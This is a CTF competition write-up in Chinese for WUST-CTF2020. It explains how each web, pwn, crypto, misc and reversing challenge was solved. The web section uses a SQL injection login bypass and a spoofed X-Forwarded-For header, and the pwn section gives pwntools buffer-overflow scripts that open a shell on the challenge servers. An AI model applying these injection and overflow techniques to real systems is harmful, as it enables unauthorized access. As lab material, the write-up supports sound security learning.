WUST-CTF2020

  • Web
    • check in
    • admin(不会web勉强做出)
  • PWN
    • getshell
    • getshell2
    • number game
  • Crypto
    • 大数运算
    • B@se
    • 情书
    • babyrsa
    • 佛说:只能四天
    • leak
  • MISC
    • 比赛规则
    • Space Club
    • Welcome
    • girlfriend
    • Shop
    • Alison likes jojo
    • Find me
  • RE
    • Cr0ssFun
    • level1
    • level2
    • level3

Web

check in

修改maxlength,删除按钮的disabled,输入作者名52HeRtz即可登录
收到窗口信息一个博客地址,进入。
Ctrl+U查看源码,在末尾发现一半flag

继续找在“远古的博客”中找到另一半

wctf2020{can_y0u_can_a_can_a5_a_c@nner_can_Can_@_can}

admin(不会web勉强做出)

用户名:

admin

JSP万能密码:

1'or'1'='1

登录后页面提示,必须本地ip才能访问,想到用抓包添加XFF来伪造IP

Action->Send to Repeater->Go

页面提示用GET传参,停止抓包,在原网址末尾添加

?ais=520

抓包,重复上面的操作,得到新提示,用POST传参

与GET类似,用hackbar POST

wust=1314

后得到提示离flag很近了,得到一串字符

4dz  aste.ubuntu.com/p/    https://p  Rqr  cSf2


将字符串HTML解码

将网址拼接起来得:

https://paste.ubuntu.com/p/cSf24dzRqr

进入得

d2N0ZjIwMjB7bjB3X3lvdV9rbjB3X3RoZV9iYXNpY18wZl9zcWxfYW5kX2h0dHB9

base64解码得:

wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}

PWN

getshell

没什么好说的,真·签到题

from pwn import*
#r=process('./getshell')
r=remote('47.97.40.187',12333)
sys_addr=0x0804851b
payload='a'*0x18+'a'*4+p32(sys_addr)
r.sendline(payload)
r.interactive()
wctf2020{E@sy_get_shel1}

getshell2



没有buf段让我们写入"/bin/sh",也没有现成的"/bin/sh"让我们使用,但是需要知道的是只需要"sh"便能getshell
注意到这里的read允许的最大长度为36,buf可容纳的长度为0x18=24,所以实现栈溢出覆盖返回地址的长度为28,所以只有8个字节能让我们写syscall
如果我们调用plt表的system函数地址,是需要继续压入一个system返回地址的,这两个地址的长度已经达到了8个字节,没有位置来输入"sh"的地址,所以想到程序里是否有call system直接让我们调用,这样就不用压入返回地址,就能省4个字节来压入"sh"的地址

在shell函数的汇编代码里找到了,所以将栈溢出后的返回地址直接改为0x08048529就行了,现在找"sh"的地址,用ROPgadget

exp:

from pwn import*
#r = process('./getshell-2')
r = remote('47.97.40.187', 12334)
sh_addr = 0x08048670
sys_addr = 0x08048529
payload = flat(['a'*28, sys_addr, sh_addr])
r.sendline(payload)
r.interactive()
wctf2020{Sh_Als0_w0rks}

number game

整数溢出
讲讲我做题中的思路:
写了个C++程序测试数字:

#include<iostream>
#include<climits>
#include<math.h>
using namespace std;
int main(){int a;cout<<INT_MAX<<endl;//打印出int能取的最大值cin>>a;cout<<a<<endl;if (a<0){a=-a;if(a<0) cout<<"You Win!";else cout<<"2You Lose!";}else cout<<"1You Lose!";
}

int取值范围为[-2147483648,2147483647]
如果取2147483648,理论上讲应该会变为-2147483648,然后能通过测试的但是并没有,程序保留了2147483648,然后试了试2147483649,发现变成了2147483647。至于为什么,我现在也还没搞懂。
然后想着往左区间取,显然-2147483648根据上面的情况是取不了的,就顺手取了个-2147483649,结果通过了测试…(懂这个原理的师傅记得教教弟弟)
exp:

from pwn import*
#r=process('./number_game')
r=remote('106.12.48.20',12336)
payload = -2147483649
r.send(str(payload))
r.interactive()
wctf2020{Opc0de_neg_Is_StraNge}

Crypto

大数运算

part1:
阶乘运算2020!

前八位:38609695->24d231f
part2:
520^1314+2333 ^666
显然前面的数比后面的数大得多,所以后面的结果不影响最后结果的前八位
计算高次幂的脚本:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>char *multiply(int num, char *obj) {//单个数字进行大数计算int i, tem, t = 0;char ttt[25];if (num == 1) {return obj;}for (i = 0; i < strlen(obj); i++) {tem = (obj[i] - '0')*num + t;t = tem / 10;obj[i] = tem % 10 + '0';}if (t) {itoa(t, ttt, 10);for (i = 0; i < strlen(ttt) / 2; i++) {char c = ttt[i];ttt[i] = ttt[strlen(ttt) - i - 1];ttt[strlen(ttt) - i - 1] = c;}//翻转obj = strcat(obj,ttt);}return obj;
}
int main() {int n,i,num;char obj[10000];printf("请输入底数,指数:\n");scanf("%s%d",obj,&n);num=atoi(obj);if (n == 0) {obj[0] = '1';obj[1] = '\0';}if(n==0&&num==0) {printf("error");}int len=strlen(obj);for(i=0;i<len/2;i++){char c=obj[i];obj[i]=obj[len-i-1];obj[len-i-1]=c;}//翻转 for(i=1; i<n; i++) {//本身就是一次方 multiply(num,obj);}for(i=strlen(obj)-1; i>=0; i--) {printf("%c",obj[i]);}return 0;
}

前八位:67358675->403cfd3
part3:
百度一下宇宙终极问题的x,y,z,得到答案
前八位:17357662->108db5e
part4:
定积分计算…就是一个三角形的面积
结果520*1314=683280->a6d10

wctf2020{24d231f-403cfd3-108db5e-a6d10}

B@se

base64_table少了四个观察一下是34ju
然后排列组合得到最后的table:
JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs34ujkxyz012789+/

wctf2020{base64_1s_v3ry_e@sy_and_fuN}

情书

RSA原理题…

将数字按行输入
接着贴脚本:

import gmpy2
n = 2537
d = 937
result = []
with open("1.txt") as f:for i in f:result.append(pow(int(i),d,n))
print(result)

得到答案
[8, 11, 14, 21, 4, 24, 14, 20]
按ABCD…(从0开始数)得
ILOVEYOU

wctf2020{ILOVEYOU}

babyrsa

import gmpy2
import libnum
n = 73069886771625642807435783661014062604264768481735145873508846925735521695159
p = gmpy2.mpz(189239861511125143212536989589123569301)
q = gmpy2.mpz(386123125371923651191219869811293586459)
e = gmpy2.mpz(65537)
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e, phi_n)
c = 28767758880940662779934612526152562406674613203406706867456395986985664083182
result = pow(c,d,n)
print(libnum.n2s(result))
wctf2020{just_@_piece_0f_cak3}

佛说:只能四天

尊即寂修我劫修如婆愍闍嚤婆莊愍耨羅嚴是喼婆斯吶眾喼修迦慧迦嚩喼斯願嚤摩隸所迦摩吽即塞願修咒莊波斯訶喃壽祗僧若即亦嘇蜜迦須色喼羅囉咒諦若陀喃慧愍夷羅波若劫蜜斯哆咒塞隸蜜波哆咤慧聞亦吽念彌諸嘚嚴諦咒陀叻咤叻諦缽隸祗婆諦嚩阿兜宣囉吽色缽吶諸劫婆咤咤喼愍尊寂色缽嘚闍兜阿婆若叻般壽聞彌即念若降宣空陀壽愍嚤亦喼寂僧迦色莊壽吽哆尊僧喼喃壽嘚兜我空所吶般所即諸吽薩咤諸莊囉隸般咤色空咤亦喃亦色兜哆嘇亦隸空闍修眾哆咒婆菩迦壽薩塞宣嚩缽寂夷摩所修囉菩阿伏嘚宣嚩薩塞菩波吶波菩哆若慧愍蜜訶壽色咒兜摩缽摩諦劫諸陀即壽所波咤聞如訶摩壽宣咤彌即嚩蜜叻劫嘇缽所摩闍壽波壽劫修訶如嚩嘇囉薩色嚤薩壽修闍夷闍是壽僧劫祗蜜嚴嚩我若空伏諦念降若心吽咤隸嘚耨缽伏吽色寂喃喼吽壽夷若心眾祗喃慧嚴即聞空僧須夷嚴叻心願哆波隸塞吶心須嘇摩咤壽嘚吶夷亦心亦喃若咒壽亦壽囑囑

新佛曰解码:
->

平等文明自由友善公正自由诚信富强自由自由平等民主平等自由自由友善敬业平等公正平等富强平等自由平等民主和谐公正自由诚信平等和谐公正公正自由法治平等法治法治法治和谐和谐平等自由和谐自由自由和谐公正自由敬业自由文明和谐平等自由文明和谐平等和谐文明自由和谐自由和谐和谐平等和谐法治公正诚信平等公正诚信民主自由和谐公正民主平等平等平等平等自由和谐和谐和谐平等和谐自由诚信平等和谐自由自由友善敬业平等和谐自由友善敬业平等法治自由法治和谐和谐自由友善公正法治敬业公正友善爱国公正民主法治文明自由民主平等公正自由法治平等文明平等友善自由平等和谐自由友善自由平等文明自由民主自由平等平等敬业自由平等平等诚信富强平等友善敬业公正诚信平等公正友善敬业公正平等平等诚信平等公正自由公正诚信平等法治敬业公正诚信平等法治平等公正友善平等公正诚信自由公正友善敬业法治法治公正公正公正平等公正诚信自由公正和谐公正平等

社会主义核心价值观解码:

RLJDQTOVPTQ6O6duws5CD6IB5B52CC57okCaUUC3SO4OSOWG3LynarAVGRZSJRAEYEZ_ooe_doyouknowfence

RLJDQTOVPTQ6O6duws5CD6IB5B52CC57okCaUUC3SO4OSOWG3LynarAVGRZSJRAEYEZ_ooe
对这段字符串四节栅栏:
R5UALCUVJDCGD63RQISZTBOSO54JVBORP5SAT2OEQCWY6CGEO53Z67L_doyouknowCaesar

R5UALCUVJDCGD63RQISZTBOSO54JVBORP5SAT2OEQCWY6CGEO53Z67L
对这段字符串四位Caesar

->o5rxizrsgazda63onfpwqylpl54gsylom5pxq2lbnztv6zdbl53w67i
base32
->

wctf2020{ni_hao_xiang_xiang_da_wo}

leak

RSA dp泄露(脚本真香)

import gmpy2
import libnum
e = 65537
n = gmpy2.mpz(156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847)dp = gmpy2.mpz(734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825)c = gmpy2.mpz(108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869)for x in range(1, e):if(e*dp%x==1):p=(e*dp-1)//x+1if(n%p!=0):continueq=n//pphin=(p-1)*(q-1)d=gmpy2.invert(e, phin)m=gmpy2.powmod(c, d, n)if(len(hex(m)[2:])%2==1):continueprint(libnum.n2s(m))

MISC

比赛规则

wctf2020{y0u_kn0w_th3_rule5}

Space Club

记事本内容全选后发现空格有长有短

长为1短为0,得011101110110001101110100011001100011001000110000001100100011000001111011011010000011001101110010011001010101111100110001011100110101111101111001001100000111010101110010010111110110011001101100010000000110011101011111011100110011000101111000010111110111001100110001011110000101111101110011001100010111100001111101
转换为字符串
wctf2020{h3re_1s_y0ur_fl@g_s1x_s1x_s1x}

Welcome

检测人脸的程序,检测出有三个人则输出flag(我就拿着我高中毕业照晃了一下,这程序就激动的不行…)

wctf2020{We1cOme_t0_wCtF2o20_aNd_eNj0y_1t}

girlfriend

拨号音+手机按键
每播放完一段都会有#的拨号音表示隔断
例如听出第一个拨号音为999,手机九键对应y
最终答案:

wctf2020{youaremygirlfriends}

用pdf编辑器将图片移开,得到字符串

0x77637466323032307b746831735f31735f405f7064665f616e645f7930755f63616e5f7573655f70686f7430736830707d

base16解码:

wctf2020{th1s_1s_@_pdf_and_y0u_can_use_phot0sh0p}

Shop


balance就是你拥有的财富.初始值为2020,而购买real flag需要100000
经过几番调试,发现在cheaper flag的地方可能存在整数溢出,通过输入可以将cost变成负数,从而增加我们的财富(减掉一个负数相当于加上他的相反数嘛)

然后就可以购买real flag了

wctf2020{0h_noooo_y0u_r0b_my_sh0p}

Alison likes jojo

很容易发现boki.jpg中隐藏着压缩包,用foremost提取出来,发现是加密的。用爆破的方法得到压缩包的密码为888866。解压得到一串字符:killerqueen
最难的是jljy.jpg,试了好多工具最后测出来是outguess
使用命令:

outguess -k "killerqueen" -r jljy.jpg 1.txt

最后拿到flag:

wctf2020{pretty_girl_alison_likes_jojo}

Find me

在图片属性的备注栏发现了盲文

⡇⡓⡄⡖⠂⠀⠂⠀⡋⡉⠔⠀⠔⡅⡯⡖⠔⠁⠔⡞⠔⡔⠔⡯⡽⠔⡕⠔⡕⠔⡕⠔⡕⠔⡕⡍=

盲文转换

wctf2020{y$0$u_f$1$n$d$_M$e$e$e$e$e}

RE

Cr0ssFun

在check函数中翻来翻去组成flag

wctf2020{cpp_@nd_r3verse_@re_fun}

level1


当i为奇数时,ptr[i]<<i(左移运算符),
当i为偶数时,ptr[i]*i
output已给出,则只需要反过来
当i为奇数时,ptr[i]>>i
当i为偶数时,ptr[i]/i
最终解出来
ctf2020{d9-dE6-20c}
前面加个w

wctf2020{d9-dE6-20c}

level2

加了UPX壳,脱壳就能拿到flag

wctf2020{Just_upx_-d}

或者,用IDA的binary模式打开

shift+F12搜索字符串wctf也能得到flag

level3

题目提供了:d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD==这段字符
base64解密发现有些是完整的,有些乱码,所以base64table肯定被修改过

看到有个这个函数,点进去

果然,table的前19位被颠倒顺序,
正确的table:
TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

wctf2020{Base64_is_the_start_of_reverse}

WUST-CTF2020(武汉科技大学第一届WUST-CTF网络安全竞赛)WP相关推荐

  1. CTF网络安全竞赛签到题

    CTF签到题 F_签到题 是一张file3.jpg图片 解题方法: 1.打开kali虚拟机,用binwalk -e file3.jpg得到txt文件 2.打开flag3.txt,是:ZmxhZ3t1d ...

  2. 武汉科技大学085211计算机,武汉科技大学计算机科学与技术学院

    武汉科技大学计算机科学与技术学院 (4页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 24.90 积分 武汉科技大学计算机科学与技术学院武汉科技大学计算机 ...

  3. 武汉科技大学计算机复试机试,2019年武汉科技大学考研复试及录取工作方案

    为做好我校2019年硕士研究生招生的复试及录取工作,根据教育部<2019年全国硕士研究生招生工作管理规定>(教学[2018]5号)等文件精神,结合我校研究生招生工作实际,经学校研究生招生委 ...

  4. 武汉科技大学计算机学院 刘静,武汉科技大学考研研究生导师简介-刘静

    武汉科技大学考研研究生导师简介-刘静本站小编 Free考研网/2019-05-27 导师姓名:刘静 性别:女 人气指数:84 所属院校:武汉科技大学 所属院系:计算机科学与技术学院 职称: 导师类型: ...

  5. 武汉科技大学计算机收调剂吗,武汉科技大学2020年接收硕士研究生预调剂公告...

    导语:武汉科技大学2020年接收硕士研究生预调剂公告已发布,圣才考研网小编整理了相关信息如下,欢迎大家点击查看!更多考研动态|考试大纲|模拟试题|历年真题请关注圣才考研网. 武汉科技大学2020年接收 ...

  6. 辽师836c语言真题,2018年武汉科技大学考研真题硕士研究生入学考试试题

    2018年武汉科技大学考研真题硕士研究生入学考试试题 下载地址如下: 2018-10-9 10:07:29 上传 需要: RMB 10 元 2018-10-9 10:07:06 上传 需要: RMB ...

  7. 湖北省武汉科技大学计算机报名,湖北武汉科技大学第33次计算机等级考试报名通知...

    第33次全国计算机等级考试报名交费的通知 各位同学: 第33次全国计算机等级考试将于2011年3月26日举行.武汉科技大学考点报名工作现已开始,本次报名全部采用网上报名,现将有关事宜通知如下: 一.考 ...

  8. 武科大计算机专业分数线,武汉科技大学计算机类(中外合作办学)专业2016年在湖北理科高考录取最低分数线...

    类似问题答案 广西科技大学计算机类(中外合作办学)(软件工程)专业2016年在湖北理科高考录取最... 学校 地 区 专业 年份 批次 类型 分数 广西科技大学 湖北 计算机类(中外合作办学)(软件工 ...

  9. 武汉科技大学计算机转专业吗,武汉科技大学普通本科生专业选择与转专业管理办法...

    武科大教[2018]28号 第一条为了进一步深化教育教学改革,稳步推进学分制和大类培养,为学生提供灵活多样的学习方式,充分调动学生学习的积极性和主动性,促进学生个性化发展,根据<普通高等学校学生 ...

  10. 武汉科技大学城市学院计算机二级考试,湖北省计算机等级考试一年有几次报名...

    湖北省省会城市武汉是全国大学生最集中的地方,在校期间学生们会选择把计算机等级考试考了,那么一年之中我们可以报名几次呢?据说是三次是真的吗,下面我们一起来看报名时间及报名考点信息. 一.计算机等考一年有 ...

最新文章

  1. pld与微型计算机的区别,VLSI 复习题与思考题
  2. MSM8909平台 LED背光的控制
  3. 4.5 偏斜类-机器学习笔记-斯坦福吴恩达教授
  4. 【52】写了placement new也要写placement delete
  5. 电纸书kindle相关产品调研(没搞完)
  6. telnet到设备里 php_PHP自动生成设备周检修计划
  7. cuba 平台_CUBA平台的理念
  8. 浏览器中跨域创建cookie的问题
  9. Android系统性能优化(46)---Android Lint
  10. AOSP ~ Camera - YUV格式简介
  11. cjson构建_cJSON结构体构建
  12. java oracle sqlldr,oracle sqlldr
  13. 分享Appmakr式的简易App制作8大工具
  14. 查看自己本地IP地址方法
  15. Window / Mac 系统 nvm 安装使用指南
  16. 同态滤波 matlab,基于Matlab的同态滤波器的优化设计
  17. 弘辽科技:拼多多活动价格建议价格太低了怎么办?
  18. 基于Spark的出租车信息查询系统
  19. 分类变量要编码成哑变量_停止对分类变量进行热编码
  20. 20220524 深度学习技术点

热门文章

  1. python里的百分号_python里百分号什么意思
  2. 计算机音乐谱大全好汉歌,吉他曲谱好汉歌_《好汉歌》的吉他乐谱
  3. 苹果6怎样分屏_皮皮喵聚合搜索漫画APP苹果版IOS付费版更新 0.3.6,已购账号快来更新,分享一下,兑换码大赠送活动,共享喜悦!...
  4. Ubuntu进行apt-get出现Package xxx is not available,but is referred to by another package错误
  5. 底部的footer导航栏被手机虚拟键盘顶起来如何解决
  6. C语言系列(5) --- C语言文件的操作
  7. 知道RSS的人越少,我就越希望它能被人知道!
  8. Performance analysis of machine learning classifers for non‑technicalloss detection
  9. 简单的python爬取淘宝数据
  10. 中国式危机公关9加1策略(第十三章 建立系统实用的危机管理机制)